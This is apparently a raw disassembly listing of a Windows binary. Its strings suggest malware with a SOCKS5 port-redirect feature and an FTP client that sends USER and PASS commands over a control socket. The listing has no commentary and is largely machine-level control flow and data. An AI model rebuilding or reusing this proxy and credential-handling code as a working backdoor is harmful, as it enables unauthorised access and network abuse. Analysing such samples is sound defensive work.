		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3ED
		push	offset byte_446F70
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi ; dword_50FB08
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A8D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
		test	eax, eax
		jz	short loc_42C7C2
		mov	ecx, dword_50FA84
		push	eax
		add	ecx, 40h
		push	offset aNetworkFailedT ; "Network failed to start: %d\n"
		push	ecx
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42C7C2:				; CODE XREF: sub_42C790+17j
		add	esp, 190h
		retn
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
		cmp	eax, ebx
		jnz	short loc_42C8D8
		push	offset aGetservbyname ;	"getservbyname"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	word ptr [esp+24h+var_10+2], ax
		jmp	short loc_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96


loc_42C8D8:				; CODE XREF: sub_42C810+5Aj
		mov	dx, [eax+8]
		mov	word ptr [esp+24h+var_10+2], dx


loc_42C8E1:				; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C810	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp ; dword_50FAC4
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445450h, 80A49DE8h, 0C4839077h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44544068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh
		dd 83F08B90h, 0F33B08C4h, 38681E75h, 90004454h,	80A435E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
		dd 54386824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: sub_42D1A0+C6p
					; sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3DC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx ; dword_50FA80
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3DC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx ; dword_50FA80
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp ; dword_50FAD4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445230 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi ; dword_50FA60
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi ; dword_50FA60
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3DC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CE4
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
		test	eax, eax
		jg	short loc_42D25D
		push	offset aWrite	; "write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D25D:				; CODE XREF: sub_42D1A0+A1j
		mov	ecx, [esp+10Ch+arg_4]
		push	ebx
		push	ecx
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


